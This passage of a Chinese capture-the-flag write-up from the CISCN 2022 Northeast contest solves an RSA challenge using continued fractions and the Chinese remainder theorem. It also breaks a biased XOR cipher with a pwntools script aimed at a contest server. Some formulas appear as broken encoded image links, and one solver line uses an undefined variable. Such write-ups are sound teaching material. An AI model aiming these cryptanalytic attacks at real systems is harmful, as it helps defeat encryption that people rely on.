  20. if isPrime(n2) and isPrime(n3):
  21. break
  22. while True:
  23. a3=getRandomNBitInteger(dbit)
  24. if gmpy2.gcd(a3,a1*b1*a2*b2)==1:
  25. v1=(n1-1)*(n2-1) # phi1
  26. k=(a3*inverse(a3,v1)-1)//v1 # k * phi1=k * v1 = ed-1
  27. v2=k*b1+1
  28. if isPrime(v2):
  29. return a3,n1*n2,n3*v2
  30. def encrypt(msg, pubkey):
  31. return pow(msg, pubkey[0], pubkey[1])
  32. nbit = 1024
  33. dbit = 256
  34. e, n1, n2=keygen(nbit, dbit)
  35. print('e =', e)
  36. print('n1 =', n1)
  37. print('n2 =', n2)
  38. c1 = encrypt(message, [e, n1])
  39. c2 = encrypt(message, [e, n2])
  40. print('enc1 =', c1)
  41. print('enc2 =', c2)
  42. # e = 86905291018330218127760596324522274547253465551209634052618098249596388694529
  43. # n1 = 112187114035595515717020336420063560192608507634951355884730277020103272516595827630685773552014888608894587055283796519554267693654102295681730016199369580577243573496236556117934113361938190726830349853086562389955289707685145472794173966128519654167325961312446648312096211985486925702789773780669802574893
  44. # n2 = 95727255683184071257205119413595957528984743590073248708202176413951084648626277198841459757379712896901385049813671642628441940941434989886894512089336243796745883128585743868974053010151180059532129088434348142499209024860189145032192068409977856355513219728891104598071910465809354419035148873624856313067
  45. # enc1 = 71281698683006229705169274763783817580572445422844810406739630520060179171191882439102256990860101502686218994669784245358102850927955191225903171777969259480990566718683951421349181856119965365618782630111357309280954558872160237158905739584091706635219142133906953305905313538806862536551652537126291478865
  46. # enc2 = 7333744583943012697651917897083326988621572932105018877567461023651527927346658805965099102481100945100738540533077677296823678241143375320240933128613487693799458418017975152399878829426141218077564669468040331339428477336144493624090728897185260894290517440392720900787100373142671471448913212103518035775

题解

CISCN2022东北赛区题解WP-MapleLeves - 图5,且都为素数

CISCN2022东北赛区题解WP-MapleLeves - 图6(n2-1)%20%3D%20a_1a_2b_1b_2%3Dv_1#card=math&code=%5Cphi%20%7Bn%7B_1%7D%7D%20%3D%20%28n_1-1%29%28n_2-1%29%20%3D%20a_1a_2b_1b_2%3Dv_1&id=w5MxS)

CISCN2022东北赛区题解WP-MapleLeves - 图7(v2-1)%20%3D%20a_1b_2kb_1#card=math&code=%5Cphi%20%7Bn%7B_2%7D%7D%20%3D%20%28n_3-1%29%28v_2-1%29%20%3D%20a_1b_2kb_1&id=cOaQf)

k=(a3*inverse(a3,v1)-1)//v1e=a3知:

CISCN2022东北赛区题解WP-MapleLeves - 图8%20-1)%20%2F%2F%20phi%20%3D%20ed-1%20%2F%2F%20%5Cphi%7Bn_1%7D%20%3D%20k*%5Cphi%7Bn1%7D%20%2F%2F%20%5Cphi%7Bn1%7D%20%3D%20k#card=math&code=k%20%3D%20%28e%2Ainv%28e%2C%20%5Cphi%7Bn1%7D%29%20-1%29%20%2F%2F%20phi%20%3D%20ed-1%20%2F%2F%20%5Cphi%7Bn1%7D%20%3D%20k%2A%5Cphi%7Bn1%7D%20%2F%2F%20%5Cphi%7Bn_1%7D%20%3D%20k&id=BiSbP)

解题思路也是明确的,知道e了,只要知道一个phi就可以求出对应私钥d,便可求解明文m

试了许多方式,题目说数学很重要,以为是n1与n2相乘后有什么关系,但形式越发复杂,无果

加减乘都无效后,尝试除,起初也没看到直接的破题点

后看着题目math1,猛然想起除法所对应连分数,试着分析了下

CISCN2022东北赛区题解WP-MapleLeves - 图9(kb_1%2B1)%7D%7B(a_1b_1%2B1)(a_2b_2%2B1)%7D%E2%89%88%5Cfrac%7Ba_1b_2kb_1%7D%7Ba_1b_1a_2b_2%7D%3D%5Cfrac%7Bk%7D%7Ba_2%7D#card=math&code=%5Cfrac%7BN2%7D%7BN1%7D%3D%5Cfrac%7B%28a_1b_2%2B1%29%28kb_1%2B1%29%7D%7B%28a_1b_1%2B1%29%28a_2b_2%2B1%29%7D%E2%89%88%5Cfrac%7Ba_1b_2kb_1%7D%7Ba_1b_1a_2b_2%7D%3D%5Cfrac%7Bk%7D%7Ba_2%7D&id=JUnQ9)

CISCN2022东北赛区题解WP-MapleLeves - 图10

再根据Legendre理论,CISCN2022东北赛区题解WP-MapleLeves - 图11CISCN2022东北赛区题解WP-MapleLeves - 图12连分数

便可求出一系列的k、a2可能值

又有 CISCN2022东北赛区题解WP-MapleLeves - 图13,所以:

CISCN2022东北赛区题解WP-MapleLeves - 图14*k%5E%7B-1%7D%20%5Cmod%20e%0A#card=math&code=%5Cphi_%7Bn_1%7D%20%E2%89%A1%20%28-1%29%2Ak%5E%7B-1%7D%20%5Cmod%20e%0A&id=PTOLO)

以及

CISCN2022东北赛区题解WP-MapleLeves - 图15

利用中国剩余定理联立之,得到CISCN2022东北赛区题解WP-MapleLeves - 图16

最后,为进一步确定CISCN2022东北赛区题解WP-MapleLeves - 图17值,利用:CISCN2022东北赛区题解WP-MapleLeves - 图18(n_2%E2%88%921)%E2%88%92n_1n_2%7C%3D%7C-n_1%E2%88%92n_2%2B1%7C%E2%89%88n_1%2Bn_2%20%E2%89%A4%202%5E%7B513%7D#card=math&code=%7C%F0%9D%9C%99%E2%88%92N1%7C%3D%7C%28n_1%E2%88%921%29%28n_2%E2%88%921%29%E2%88%92n_1n_2%7C%3D%7C-n_1%E2%88%92n_2%2B1%7C%E2%89%88n_1%2Bn_2%20%E2%89%A4%202%5E%7B513%7D&id=Telp4)

  1. import gmpy2
  2. import libnum
  3. from tqdm import tqdm
  4. N1 = 112187114035595515717020336420063560192608507634951355884730277020103272516595827630685773552014888608894587055283796519554267693654102295681730016199369580577243573496236556117934113361938190726830349853086562389955289707685145472794173966128519654167325961312446648312096211985486925702789773780669802574893
  5. N2 = 95727255683184071257205119413595957528984743590073248708202176413951084648626277198841459757379712896901385049813671642628441940941434989886894512089336243796745883128585743868974053010151180059532129088434348142499209024860189145032192068409977856355513219728891104598071910465809354419035148873624856313067
  6. e = 86905291018330218127760596324522274547253465551209634052618098249596388694529
  7. enc1 = 71281698683006229705169274763783817580572445422844810406739630520060179171191882439102256990860101502686218994669784245358102850927955191225903171777969259480990566718683951421349181856119965365618782630111357309280954558872160237158905739584091706635219142133906953305905313538806862536551652537126291478865
  8. # c = continued_fraction(int(N2) / int(N1))
  9. # sage里int不太对
  10. c = continued_fraction(Integer(N2) / Integer(N1))
  11. for i in tqdm(range(1, 211)):
  12. a2 = c.denominator(i)
  13. k = c.numerator(i)
  14. if gmpy2.gcd(k, e) != 1:
  15. continue
  16. tmp = gmpy2.invert(k, e)
  17. res = (-1*tmp) % e
  18. phi_ = crt(res, 0, e, a2)
  19. bound = e * a2 // gmpy2.gcd(e, a2) # lcm
  20. phi1 = phi_ + (N1 // bound) * bound - 100 * bound # phi1
  21. for j in range(211):
  22. if gmpy2.gcd(e, st) != 1:
  23. phi1 += bound
  24. continue
  25. d1 = gmpy2.invert(e, phi1)
  26. flag = libnum.n2s(int(pow(enc1, d1, N1)))
  27. if b"flag" in flag:
  28. print(flag)
  29. phi1 += bound

CISCN2022东北赛区题解WP-MapleLeves - 图19

Rand0m3 (200)

题目

  1. #!/usr/bin/python3
  2. # Rand0m3
  3. import os, sys
  4. import struct
  5. def _print(content, end = None):
  6. if end != None:
  7. print(content, end = end)
  8. else:
  9. print(content)
  10. sys.stdout.flush()
  11. def read_flag():
  12. with open("flag", "r") as f:
  13. res = f.read()
  14. return res
  15. def print_prompt():
  16. _print("1. encrypt input")
  17. _print("2. decrypt input")
  18. _print("3. encrypt flag")
  19. _print("4. exit")
  20. _print(">> ", end = "")
  21. def read_int():
  22. return int(read_string())
  23. def read_string():
  24. return input().strip()
  25. def get_random_u8(): # get_random_u8()??
  26. return struct.unpack("<B", os.urandom(1))[0]
  27. def encrypt(s, k):
  28. res = ""
  29. if k <= len(s):
  30. _print("[!] key shold be larger then len(pt) for safty!!")
  31. return ""
  32. for i, c in enumerate(s):
  33. enc = (get_random_u8() + k * i) % 0xff
  34. enc = ord(c) ^ enc
  35. res += hex(enc)[2:].rjust(2, "0")
  36. return res
  37. def decrypt(s, k):
  38. _print("[*] Give me the paper about predicting urandoGive me the paper about predicting urandomm")
  39. _print("[*] ...Then i'll decrypt your input ;)")
  40. return ""
  41. if __name__ == "__main__":
  42. flag = read_flag()
  43. while True:
  44. print_prompt()
  45. c = read_int()
  46. if c == 1:
  47. _print("key >> ", end = "")
  48. key = read_int()
  49. _print("pt >> ", end = "")
  50. pt = read_string()
  51. _print("result : %s"%encrypt(pt, key))
  52. elif c == 2:
  53. _print("key >> ", end = "")
  54. key = read_int()
  55. _print("ct >> ", end = "")
  56. ct = read_string()
  57. _print("result : %s"%decrypt(ct, key))
  58. elif c == 3:
  59. _print("key >> ", end = "")
  60. key = read_int()
  61. _print("result : %s"%encrypt(flag, key))
  62. elif c == 4:
  63. _print("bye!!")
  64. exit(0)
  65. else:
  66. _print("invalid option...")

题解

巧,上个月刷到原题了,当时没写出来

赛后跟着wp尝试复现了下,居然撞上了

察觉后,觉得略有不同,在交互上卡了好一会,最后发现确实是一致的

想清楚了,思路也清晰

首先,关注题目中的加密代码

  1. def encrypt(s, k):
  2. res = ""
  3. if k <= len(s):
  4. _print("[!] key shold be larger then len(pt) for safty!!")
  5. return ""
  6. for i, c in enumerate(s): # i 为index位置, c为s[i]
  7. enc = (get_random_u8() + k * i) % 0xff # 0到254
  8. enc = ord(c) ^ enc # 唯独不可能与0b11111111异或
  9. res += hex(enc)[2:].rjust(2, "0") # 补齐两位
  10. return res

破题点在于% 0xff,这样导致第一步的enc范围固定下来,只能是0到254

其后,enc = ord(c) ^ enc,那么ord(c)就不可能与0b11111111(255)异或

所以为确定一位flag字符,只要进行多次encrypt,在0到255中排除到只剩1个数,它就是flag[i]^255(key不妨就设为255)的结果

那么,都确定好后,根据异或可逆性质再异或回来即可

  1. from pwn import *
  2. p = remote('172.16.30.220', 58005) # 记得改ip 端口
  3. key = 255
  4. p.sendlineafter('>> ', '3') # 模式3
  5. p.sendlineafter('key >> ', '255') # 输入key值
  6. p.recvuntil('result : ') # 准备接受enc(flag, key)
  7. enc_flag = p.recvline()
  8. flag_len = len(enc_flag) // 2
  9. flag_set = [list(range(256)) for _ in range(flag_len)] # 存放每一位可能的flag_enc
  10. flag = [0 for x in range(flag_len)] # flag初始化为一串0
  11. while True:
  12. p.sendlineafter('>> ', '3')
  13. p.sendlineafter('key >> ', '255')
  14. p.recvuntil('result : ')
  15. enc_flag = bytes.fromhex(p.recvline()[:-1].decode())
  16. for i in range(flag_len):
  17. if flag_set[i].count(enc_flag[i]) == 1:
  18. flag_set[i].remove(enc_flag[i])
  19. if len(flag_set[i]) == 1:
  20. flag[i] = chr(flag_set[i][-1] ^ key)
  21. print([len(x) for x in flag_set])
  22. if 0 not in flag: # 校验完毕
  23. break
  24. print(''.join(flag))